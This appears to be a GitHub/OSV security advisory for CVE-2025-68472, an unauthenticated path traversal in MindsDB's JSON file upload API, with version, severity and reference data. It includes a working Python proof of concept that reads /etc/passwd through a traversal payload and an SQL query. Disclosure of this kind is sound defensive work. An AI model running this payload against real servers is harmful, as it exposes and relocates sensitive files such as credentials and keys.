CVE-2025-68472: MindsDB Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qqhf-pm3j-96g7",
  "modified" : "2026-06-06T00:36:38Z",
  "published" : "2026-01-12T16:10:55Z",
  "aliases" : [ "CVE-2025-68472" ],
  "summary" : "MindsDB has improper sanitation of filepath that leads to information disclosure and DOS",
  "details" : "### Summary\n\n[BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. \n\n### Details\nThe PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `\"url\"`:\n\n- `data = request.json` (line ~104) accepts attacker input without validation.\n- `file_path = os.path.join(temp_dir_path, data[\"file\"])` (line ~178) creates the path inside a temporary directory, but if `data[\"file\"]` is absolute (e.g., `/home/secret.csv`), `os.path.join` ignores `temp_dir_path` and targets the attacker-specified location.\n- The resulting path is handed to `ca.file_controller.save_file(...)`, which wraps `FileReader(path=source_path)` (`mindsdb/interfaces/file/file_controller.py:66`), causing the application to read the contents of that arbitrary file. The subsequent `shutil.move(file_path, ...)` call also relocates the victim file into MindsDB’s managed storage.\n\nOnly multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to `clear_filename` or equivalent checks.\n\n### PoC\n1. Run MindsDB in Docker:\n   ```bash\n   docker pull mindsdb/mindsdb:latest\n   docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest\n   ```\n2. Execute the exploit from the host (save as poc.py and run with `python poc.py`):\n   ```python\n   # poc.py\n   import requests, json\n\n   base = \"http://127.0.0.1:47334\"\n   payload = {\"file\": \"../../../../../etc/passwd\"}  # no source_type -> hits vulnerable branch\n\n   r = requests.put(f\"{base}/api/files/leak_rel\", json=payload, timeout=10)\n   print(\"PUT status:\", r.status_code, r.text)\n\n   q = requests.post(\n       f\"{base}/api/sql/query\",\n       json={\"query\": \"SELECT * FROM files.leak_rel\"},\n       timeout=10,\n   )\n   print(\"SQL response:\", json.dumps(q.json(), indent=2))\n   ```\n3. The SQL response returns the contents of `/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.\n4. Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal\n\n### Impact\n- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "MindsDB"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "25.11.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-qqhf-pm3j-96g7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68472"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mindsdb/mindsdb"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mindsdb/mindsdb/releases/tag/v25.11.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2026-90.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23", "CWE-36" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-12T16:10:55Z",
    "nvd_published_at" : "2026-01-12T17:15:52Z"
  }
}